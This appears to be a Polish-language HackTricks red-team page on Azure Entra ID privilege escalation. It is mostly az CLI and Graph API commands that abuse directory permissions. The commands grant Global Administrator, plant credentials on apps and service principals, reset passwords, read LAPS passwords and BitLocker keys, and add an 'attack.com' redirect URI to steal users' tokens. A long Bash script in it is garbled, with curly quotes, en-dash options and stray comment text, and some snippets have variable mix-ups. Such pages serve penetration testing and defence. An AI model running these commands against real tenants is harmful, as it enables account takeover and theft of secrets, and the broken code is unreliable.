Az - EntraID Privesc

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Note

Zwróć uwagę, że nie wszystkie szczegółowe uprawnienia jakie wbudowane role mają w Entra ID kwalifikują się do użycia w rolach niestandardowych.

Role

Rola: Privileged Role Administrator

Ta rola zawiera niezbędne szczegółowe uprawnienia umożliwiające przypisywanie ról podmiotom (principals) oraz nadawanie rolom dodatkowych uprawnień. Obie akcje mogą zostać nadużyte do eskalacji uprawnień.

  • Przypisz rolę użytkownikowi:
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"

# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
  • Dodaj więcej uprawnień do roli:
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'

# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'

Aplikacje

microsoft.directory/applications/credentials/update

Umożliwia atakującemu dodanie poświadczeń (haseł lub certyfikatów) do istniejących aplikacji. Jeśli aplikacja ma uprzywilejowane uprawnienia, atakujący może uwierzytelnić się jako ta aplikacja i uzyskać te uprawnienia.

# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert

microsoft.directory/applications.myOrganization/credentials/update

To pozwala na te same działania co applications/credentials/update, ale ograniczone do aplikacji należących do pojedynczego katalogu.

az ad app credential reset --id <appId> --append

microsoft.directory/applications/owners/update

Dodając siebie jako właściciela, atakujący może manipulować aplikacją, w tym jej poświadczeniami i uprawnieniami.

az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append

# You can check the owners with
az ad app owner list --id <appId>

microsoft.directory/applications/allProperties/update

Atakujący może dodać redirect URI do aplikacji używanych przez użytkowników tenanta, a następnie udostępnić im login URLs korzystające z nowego redirect URI, aby wykradać ich tokens. Zauważ, że jeśli użytkownik był już zalogowany do aplikacji, uwierzytelnienie będzie odbywać się automatycznie i użytkownik nie będzie musiał niczego akceptować.

Zauważ też, że możliwe jest zmienienie permissions, o które aplikacja prosi, aby uzyskać więcej uprawnień, ale w takim przypadku użytkownik będzie musiał ponownie zaakceptować monit proszący o wszystkie permissions.

# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"

Eskalacja uprawnień aplikacji

As explained in this post często można było znaleźć domyślne aplikacje, które mają przypisane API permissions typu Application. API Permission (jak nazywa się to w konsoli Entra ID) typu Application oznacza, że aplikacja może uzyskiwać dostęp do API i wykonywać operacje bez kontekstu użytkownika (bez logowania użytkownika do aplikacji) oraz bez potrzeby posiadania ról Entra ID. W związku z tym bardzo często można znaleźć wysoko uprzywilejowane aplikacje w każdym Entra ID tenant.

Jeżeli atakujący ma jakiekolwiek uprawnienie/rolę pozwalającą na update the credentials (secret o certificate) of the application, może wygenerować nowe poświadczenie, a następnie użyć go do authenticate as the application, uzyskując wszystkie uprawnienia, które posiada aplikacja.

Zauważ, że wspomniany blog udostępniał niektóre API permissions popularnych domyślnych aplikacji Microsoft, jednak jakiś czas po tym raporcie Microsoft naprawił ten problem i teraz nie jest już możliwe logowanie się jako aplikacje Microsoft. Niemniej jednak wciąż można znaleźć custom applications with high privileges that could be abused.

How to enumerate the API permissions of an application:

# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]

## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv

## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
Znajdź wszystkie uprawnienia API aplikacji i oznacz API należące do Microsoft ```bash #!/usr/bin/env bash set -euo pipefail

Known Microsoft first-party owner organization IDs.

MICROSOFT_OWNER_ORG_IDS=( “f8cdef31-a31e-4b4a-93e4-5f571e91255a” “72f988bf-86f1-41af-91ab-2d7cd011db47” )

is_microsoft_owner() { local owner=“$1” local id for id in “${MICROSOFT_OWNER_ORG_IDS[@]}”; do if [ “$owner” = “$id” ]; then return 0 fi done return 1 }

get_permission_value() { local resource_app_id=“$1” local perm_type=“$2” local perm_id=“$3” local key value key=“${resource_app_id}|${perm_type}|${perm_id}”

value=“$(awk -F ‘\t’ -v k=”$key“ ‘$1==k {print $2; exit}’ “$tmp_perm_cache”)“ if [ -n “$value” ]; then printf ‘%s\n’ “$value” return 0 fi

if [ “$perm_type” = “Scope” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “oauth2PermissionScopes[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ elif [ “$perm_type” = “Role” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “appRoles[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ else value=“” fi

[ -n “$value” ] || value=“UNKNOWN” printf ‘%s\t%s\n’ “$key” “$value” >> “$tmp_perm_cache” printf ‘%s\n’ “$value” }

command -v az >/dev/null 2>&1 || { echo “az CLI not found” >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo “jq not found” >&2; exit 1; } az account show >/dev/null

apps_json=“$(az ad app list –all –query ‘[?length(requiredResourceAccess) > 0].[displayName,appId,requiredResourceAccess]’ -o json)”

tmp_map=“$(mktemp)” tmp_ids=“$(mktemp)” tmp_perm_cache=“$(mktemp)” trap ‘rm -f “$tmp_map” “$tmp_ids” “$tmp_perm_cache”’ EXIT

Build unique resourceAppId values used by applications.

jq -r ‘.[][2][]?.resourceAppId’ <<<“$apps_json” | sort -u > “$tmp_ids”

Resolve resourceAppId -> owner organization + API display name.

while IFS= read -r rid; do [ -n “$rid” ] || continue sp_json=“$(az ad sp show –id “$rid” –query ‘{owner:appOwnerOrganizationId,name:displayName}’ -o json 2>/dev/null || true)“ owner=“$(jq -r ‘.owner // “UNKNOWN”’ <<<“$sp_json”)“ name=“$(jq -r ‘.name // “UNKNOWN”’ <<<“$sp_json”)“ printf ‘%s\t%s\t%s\n’ “$rid” “$owner” “$name” >> “$tmp_map” done < “$tmp_ids”

echo -e “appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions”

Print all app API permissions and mark if the target API is Microsoft-owned.

while IFS= read -r row; do app_name=“$(jq -r ‘.[0]’ <<<”$row“)“ app_id=“$(jq -r ‘.[1]’ <<<”$row“)“

while IFS= read -r rra; do resource_app_id=“$(jq -r ‘.resourceAppId’ <<<”$rra“)“ map_line=“$(awk -F ‘\t’ -v id=”$resource_app_id“ ‘$1==id {print; exit}’ “$tmp_map”)“ owner_org=“$(awk -F’\t’ ‘{print $2}’ <<<”$map_line“)“ resource_name=“$(awk -F’\t’ ‘{print $3}’ <<<”$map_line“)“

[ -n “$owner_org” ] || owner_org=“UNKNOWN” [ -n “$resource_name” ] || resource_name=“UNKNOWN”

if is_microsoft_owner “$owner_org”; then is_ms=“true” else is_ms=“false” fi

permissions_csv=“” while IFS= read -r access; do perm_type=“$(jq -r ‘.type’ <<<”$access“)“ perm_id=“$(jq -r ‘.id’ <<<”$access“)“ perm_value=“$(get_permission_value “$resource_app_id” “$perm_type” “$perm_id”)“ perm_label=“${perm_type}:${perm_value}” if [ -z “$permissions_csv” ]; then permissions_csv=“$perm_label” else permissions_csv=“${permissions_csv},${perm_label}” fi done < <(jq -c ‘.resourceAccess[]’ <<<“$rra”)

echo -e “${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}” done < <(jq -c ‘.[2][]’ <<<“$row”) done < <(jq -c ‘.[]’ <<<“$apps_json”)

</details>

## Service Principals

### `microsoft.directory/servicePrincipals/credentials/update`

Pozwala to atakującemu dodać poświadczenia do istniejących service principals. Jeśli service principal ma podwyższone uprawnienia, atakujący może przejąć te uprawnienia.
```bash
az ad sp credential reset --id <sp-id> --append

Caution

Nowo wygenerowane hasło nie pojawi się w konsoli webowej, więc może to być ukryty sposób na utrzymanie persistence dla service principal.
Z API można je znaleźć za pomocą: az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json

If you get the error "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid." it’s because nie można modyfikować właściwości passwordCredentials SP i najpierw trzeba ją odblokować. Do tego potrzebne jest uprawnienie (microsoft.directory/applications/allProperties/update), które pozwala na wykonanie:

az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'

microsoft.directory/servicePrincipals/synchronizationCredentials/manage

Pozwala atakującemu dodać poświadczenia do istniejących service principals. Jeśli service principal ma podwyższone uprawnienia, atakujący może przejąć te uprawnienia.

az ad sp credential reset --id <sp-id> --append

microsoft.directory/servicePrincipals/owners/update

Podobnie jak w przypadku aplikacji, to uprawnienie pozwala dodać więcej właścicieli do service principal. Posiadanie service principal umożliwia kontrolę nad jego poświadczeniami i uprawnieniami.

# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"

az ad sp credential reset --id <sp-id> --append

# You can check the owners with
az ad sp owner list --id <spId>

Caution

Po dodaniu nowego właściciela próbowałem go usunąć, ale API odpowiedziało, że metoda DELETE nie była obsługiwana, nawet jeśli to właśnie tej metody trzeba użyć, aby usunąć właściciela. Więc obecnie nie można usuwać właścicieli.

microsoft.directory/servicePrincipals/disable i enable

Te uprawnienia pozwalają wyłączyć i włączyć service principals. Attacker mógłby użyć tych uprawnień, aby włączyć service principal, do którego w jakiś sposób uzyska dostęp, żeby escalate privileges.

Zauważ, że dla tej techniki attacker będzie potrzebował więcej uprawnień, aby przejąć włączonego service principal.

# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false

# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true

microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials & microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials

Te uprawnienia pozwalają tworzyć i pobierać poświadczenia do logowania jednokrotnego (SSO), co może umożliwić dostęp do aplikacji stron trzecich.

# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"


# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"

Grupy

microsoft.directory/groups/allProperties/update

To uprawnienie umożliwia dodawanie użytkowników do privileged groups, co może prowadzić do privilege escalation.

az ad group member add --group <GroupName> --member-id <UserId>

Uwaga: To uprawnienie nie obejmuje grup przypisywalnych do ról Entra ID.

microsoft.directory/groups/owners/update

To uprawnienie pozwala zostać właścicielem grup. Właściciel grupy może kontrolować członkostwo i ustawienia grupy, co potencjalnie umożliwia eskalację uprawnień względem grupy.

az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>

Uwaga: To uprawnienie wyłącza Entra ID role-assignable groups.

microsoft.directory/groups/members/update

To uprawnienie pozwala dodawać członków do grupy. Atakujący może dodać siebie lub złośliwe konta do uprzywilejowanych grup, co może zapewnić podwyższone uprawnienia.

az ad group member add --group <GroupName> --member-id <UserId>

microsoft.directory/groups/dynamicMembershipRule/update

To uprawnienie pozwala na aktualizację reguły członkostwa w grupie dynamicznej. Attacker może zmodyfikować reguły dynamiczne, aby włączyć siebie do grup uprzywilejowanych bez jawnego dodawania.

groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'

Uwaga: To uprawnienie nie obejmuje grup Entra ID przypisywalnych do ról.

Dynamic Groups Privesc

Użytkownicy mogą potencjalnie eskalować uprawnienia, modyfikując własne właściwości, aby zostać dodanymi jako członkowie grup dynamicznych. Więcej informacji:

Az - Dynamic Groups Privesc

Użytkownicy

microsoft.directory/users/password/update

To uprawnienie pozwala na zresetowanie hasła użytkowników niebędących administratorami, co umożliwia potencjalnemu atakującemu eskalację uprawnień do innych użytkowników. To uprawnienie nie może być przypisane do ról niestandardowych.

az ad user update --id <user-id> --password "kweoifuh.234"

microsoft.directory/users/basic/update

To uprawnienie pozwala modyfikować właściwości użytkownika. Często występują dynamiczne grupy, które dodają użytkowników na podstawie wartości właściwości. W związku z tym to uprawnienie może pozwolić użytkownikowi ustawić wymaganą wartość właściwości, by zostać członkiem określonej dynamicznej grupy i w ten sposób eskalować uprawnienia.

#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'

#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"

Conditional Access Policies & MFA bypass

Błędnie skonfigurowane conditional access policies wymuszające MFA można obejść — sprawdź:

Az - Conditional Access Policies & MFA Bypass

Urządzenia

microsoft.directory/devices/registeredOwners/update

To uprawnienie pozwala atakującym nadać sobie status właściciela urządzeń, aby uzyskać kontrolę lub dostęp do ustawień i danych specyficznych dla urządzenia.

deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/devices/registeredUsers/update

To uprawnienie pozwala attackers powiązać swoje konto z urządzeniami, aby uzyskać dostęp lub obejść polityki bezpieczeństwa.

deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/deviceLocalCredentials/password/read

To uprawnienie pozwala atakującym na odczyt właściwości zarchiwizowanych poświadczeń konta lokalnego administratora dla urządzeń dołączonych do Microsoft Entra, w tym hasła.

# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"

# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \

BitlockerKeys

microsoft.directory/bitlockerKeys/key/read

To uprawnienie pozwala na dostęp do kluczy BitLocker, co może umożliwić atakującemu odszyfrowanie dysków, narażając poufność danych.

# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"

# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"

Inne interesujące uprawnienia (TODO)

  • microsoft.directory/applications/permissions/update
  • microsoft.directory/servicePrincipals/permissions/update
  • microsoft.directory/applications.myOrganization/allProperties/update
  • microsoft.directory/applications/allProperties/update
  • microsoft.directory/servicePrincipals/appRoleAssignedTo/update
  • microsoft.directory/applications/appRoles/update
  • microsoft.directory/applications.myOrganization/permissions/update

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks